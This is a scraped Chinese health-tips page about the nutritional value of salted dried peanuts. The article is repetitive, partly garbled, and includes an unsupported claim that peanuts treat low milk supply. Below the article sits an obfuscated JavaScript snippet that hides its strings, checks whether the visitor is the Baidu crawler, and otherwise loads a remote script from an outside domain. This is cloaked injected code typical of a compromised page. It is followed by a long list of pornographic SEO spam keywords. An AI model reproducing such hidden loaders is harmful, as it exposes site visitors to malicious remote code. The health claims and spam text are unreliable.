當前位置:首頁 > 飲食 > 食物營養 > 正文

咸干花生的營養價值有哪些

2017-07-07 11:11:44  來源:360常識網   熱度:
導語:我們知道的,其實咸干花生不僅僅是常見的小吃,而且往往也是四川名小吃之一的了。中國人吃咸干花生的話,可以說是歷史悠久的了,而且往往也

我們知道的,其實咸干花生不僅僅是常見的小吃,而且往往也是四川名小吃之一的了。中國人吃咸干花生的話,可以說是歷史悠久的了,而且往往也是一個家喻戶曉的了。而且往往是備受全國人民喜愛。所以說咸干花生是很通用的一個食物的了。那么,咸干花生的營養價值是什么?下面讓我們一起看看。

咸干花生的熱量(以100克可食部分計)是286大卡(1196千焦),單位熱量較高。每100克咸干花生的熱量約占中國營養學會推薦的普通成年人保持健康每天所需攝入總熱量的12%。

花生含脂肪40%~50%,是大豆的兩倍,比油菜籽還高。含蛋白質30%左右,相當于小麥的兩倍多,是大米的三倍。而且花生易被人體吸收,消化系數在90%左右。此外,花生還含有核黃素、鈣、磷、卵磷脂、膽堿、不飽和脂肪酸以及多種維生素,因此花生亦稱“長生果”。

咸干花生具有很高的營養價值,每天幾粒花生有健胃的功效,在餐桌上也可是美味的菜肴。但花生是熱量很高,還是高蛋白和高脂肪的植物。花生的熱量和脂肪含量都很高,吃二兩炒花生仁,就吃進了581千卡的能量,相當于吃了五兩半的饅頭,所以想減肥的人應遠離花生。因此,減肥期間應該盡量少吃咸干花生。

綜上所述,其實吃咸干花生的好處很多的。而且吃咸干花生的話,也是一件不容易上火的事情的了。這時候如果減肥的人吃了咸干花生的時候,那么病人的胃有飽脹感,這時候,往往對減肥有一定作用。而且可以治療少乳癥。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲欧洲国产精品香蕉网| 久久精品免费全国观看国产| 国产精品久久久久三级| 久久久综合九色合综国产精品| 国产精品亚洲综合网站| 91精品导航在线网址免费| 国内精品久久久久久久涩爱| 大伊香蕉在线精品不卡视频| 人妻少妇精品中文字幕av蜜桃| www.99精品| 国内揄拍国内精品视频| 热re99久久精品国99热| 久久夜色撩人精品国产小说| 精品伊人久久大线蕉地址| 久久久精品国产sm调教网站 | 久久99精品久久久久久青青日本| 国产精品一区二区AV麻豆| 亚洲欧洲精品视频在线观看| 国内精品91最新在线观看| 亚洲精品第一国产综合境外资源| 韩国精品一区二区三区无码视频| 亚洲国产精品综合一区在线| 国产色婷婷五月精品综合在线 | 日韩精品无码成人专区| 久久久久久精品无码人妻| 国产精品视频第一区二区三区| 无码8090精品久久一区| 国产成人精品一区二区A片带套| 亚洲欧洲精品视频在线观看| 久久国产精品久久久久久| 亚洲精品乱码久久久久久自慰 | 亚洲精品无码乱码成人| 亚洲第一区精品日韩在线播放| 精品国产亚洲一区二区三区在线观看 | 国产在线精品网址你懂的| 国产精品美女免费视频观看| 精品特级一级毛片免费观看| 美利坚永久精品视频在线观看| 9久9久女女免费精品视频在线观看 | 国产成人综合日韩精品无码| 亚洲欧美精品午睡沙发|